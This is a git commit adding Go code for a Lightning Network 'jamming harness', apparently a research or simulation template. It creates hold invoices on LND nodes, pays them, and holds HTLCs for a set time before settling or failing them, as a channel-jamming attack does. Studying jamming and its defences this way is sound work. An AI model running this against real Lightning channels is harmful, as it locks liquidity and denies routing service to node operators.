multi: add jamming harness with payment utility to send and hold htlcs

This commit is contained in:
Carla Kirk-Cohen 2024-04-12 11:34:23 -04:00
parent b618b15b9b
commit 35fa9fa540
No known key found for this signature in database
GPG Key ID: 4CA7FE54A6213C91
2 changed files with 318 additions and 0 deletions

293
templates/golang/jamming.go Normal file
View File

@ -0,0 +1,293 @@
package main
import (
"context"
"sync"
"time"
"github.com/btcsuite/btcd/btcutil"
"github.com/lightninglabs/lndclient"
"github.com/lightningnetwork/lnd/invoices"
"github.com/lightningnetwork/lnd/lnrpc"
"github.com/lightningnetwork/lnd/lnrpc/invoicesrpc"
"github.com/lightningnetwork/lnd/lnwire"
)
// Nodes represents the set of nodes that we have on hand.
type Nodes interface {
GetNode(i int) lndclient.LndServices
}
// JammingHarness holds a set of LND nodes and provides utilites for jamming
// attacks.
type JammingHarness struct {
LndNodes Nodes
wg sync.WaitGroup
}
type JammingPaymentReq struct {
// AmtMsat is the amount for the invoice in millisatoshis.
AmtMsat lnwire.MilliSatoshi
// SourceIdx is the LND node that will send the payment.
SourceIdx int
// DestIdx is the LND node that will receive the paymetn.
DestIdx int
// CLTV delta for the final node.
FinalCLTV uint64
// EndorseOutgoing indicates whether the sending node should endorse
// the payment.
EndorseOutgoing bool
// Whether to successfully settle the payment (or fail it).
Settle bool
// Instruct the receiving node to wait for this duration before settle.
SettleWait time.Duration
}
type JammingPaymentResp struct {
// SendFailure represents failure from the sending node.
SendFailure lnrpc.PaymentFailureReason
// The set of HTLCs that the invoice was paid with. This may be
// populated even if the payment failed, as our attacker will choose
// to cancel payments that could have otherwise succeeded.
Htlcs []lndclient.InvoiceHtlc
// Err indicates that an unexpected error occurred.
Err error
}
// JammingPayment assists in creating a payment that can be used for channel
// jamming:
// - Creates a hold invoice on the target node
// - Pays the invoice from the source node with endorsed set per parameter
// - Optionally holds the HTLCs on the recipient for a wait period.
// - Settles/fails the HTLCs acks as instructed.
//
// It returns a channel that will report the outcome of the payment, along with
// any HTLCs used to pay it.
func (j *JammingHarness) JammingPayment(ctx context.Context,
req JammingPaymentReq) (<-chan (JammingPaymentResp), error) {
ctx, cancel := context.WithCancel(ctx)
// Create a channel for our response.
respChan := make(chan JammingPaymentResp, 1)
preimage := genPreimage()
hash := preimage.Hash()
inv, err := j.LndNodes.GetNode(req.DestIdx).Invoices.AddHoldInvoice(
ctx,
&invoicesrpc.AddInvoiceData{
Value: req.AmtMsat,
HodlInvoice: true,
Hash: &hash,
CltvExpiry: req.FinalCLTV,
},
)
if err != nil {
cancel()
return nil, err
}
sendTime := time.Now()
statusChan, pmtErrChan, err := j.LndNodes.GetNode(req.SourceIdx).Router.SendPayment(
ctx,
lndclient.SendPaymentRequest{
Invoice: inv,
Timeout: time.Hour,
MaxFeeMsat: lnwire.MaxMilliSatoshi,
},
)
if err != nil {
cancel()
return nil, err
}
// Setup some channel to track various outcomes, buffering errChan by
// 2 in case both goroutines error out (we don't have to block / have
// to consume both).
errChan := make(chan error, 2)
invoiceChannel := make(chan []lndclient.InvoiceHtlc, 1)
paymentChannel := make(chan lnrpc.PaymentFailureReason, 1)
j.wg.Add(1)
go func() {
defer j.wg.Done()
dest := j.LndNodes.GetNode(req.DestIdx)
invChan, invErrChan, err := dest.Invoices.SubscribeSingleInvoice(
ctx, hash,
)
if err != nil {
errChan <- err
return
}
for {
select {
case i := <-invChan:
if i.State != invoices.ContractAccepted {
continue
}
// Only send update / take action when all
// htlcs have arrived to account for mpp.
if i.AmtPaid < btcutil.Amount(req.AmtMsat/1000) {
continue
}
now := time.Now()
target := sendTime.Add(req.SettleWait)
// Perhaps we want to slow jam, grab our wait
// time starting from dispatch so that we know
// no HTLC is held longer than our desired
// target (give or take time we need to settle).
wait := target.Sub(now)
if target.Before(now) {
wait = 0
}
invoiceChannel <- i.Htlcs
select {
case <-time.After(wait):
var err error
if req.Settle {
err = dest.Invoices.SettleInvoice(
ctx, preimage,
)
} else {
err = dest.Invoices.CancelInvoice(
ctx, hash,
)
}
if err != nil {
errChan <- err
return
}
case <-ctx.Done():
errChan <- ctx.Err()
return
}
// If the invoice subscription errors out, just relay
// the error to our top level error channel. Channels
// are closed on shutdown, so only send an error if
// non-nil.
case err := <-invErrChan:
if err != nil {
errChan <- err
}
return
case <-ctx.Done():
errChan <- ctx.Err()
return
}
}
}()
// Consume updates from sender so that we know what happened to the
// payment.
j.wg.Add(1)
go func() {
defer j.wg.Done()
for {
select {
case s := <-statusChan:
// We don't need to track temporal states.
if s.State == lnrpc.Payment_FAILED ||
s.State == lnrpc.Payment_SUCCEEDED {
paymentChannel <- s.FailureReason
return
}
// Relay stream errors to top level channel. Channels
// are closed on shutdown so only send if nil.
case err := <-pmtErrChan:
if err != nil {
errChan <- err
}
return
case <-ctx.Done():
errChan <- ctx.Err()
return
}
}
}()
j.wg.Add(1)
go func() {
defer j.wg.Done()
// Cancel our context to clean up any goroutines in the case
// where we errored out.
defer cancel()
var htlcs []lndclient.InvoiceHtlc
for {
select {
// When we get a result from our invoice subscription,
// we know that the HTLCs have at least reached the
// final node. We'll exit when the final payment update
// is recieved by the sender, so we just store our
// htlcs here for now.
case i := <-invoiceChannel:
htlcs = i
case p := <-paymentChannel:
switch p {
// If the payment succeeded, it must have
// reached the receiving node so we include
// a report on the HTLCs that we must have
// received previously, panicing if it's not
// provided because then our assumption has
// gone wrong.
case lnrpc.PaymentFailureReason_FAILURE_REASON_NONE:
respChan <- JammingPaymentResp{
Htlcs: htlcs,
}
return
// If a payment failed, it may or may not have
// reached the recipient node. Exiting here
// will cancel our context and clean up our
// invoice subscription if the payment never
// reached the recipient.
default:
respChan <- JammingPaymentResp{
SendFailure: p,
Htlcs: htlcs,
}
return
}
// Transmit any errors received.
case e := <-errChan:
respChan <- JammingPaymentResp{
Err: e,
}
return
}
}
}()
return respChan, nil
}

25
templates/golang/utils.go Normal file
View File

@ -0,0 +1,25 @@
package main
import (
"crypto/rand"
"github.com/lightningnetwork/lnd/lntypes"
)
// genPreimage creates a random preimage, panicing if it fails.
func genPreimage() lntypes.Preimage {
randomBytes := make([]byte, 32)
// Fill the byte slice with random data
_, err := rand.Read(randomBytes)
if err != nil {
panic(err)
}
preimage, err:= lntypes.MakePreimage(randomBytes)
if err!=nil{
panic(err)
}
return preimage
}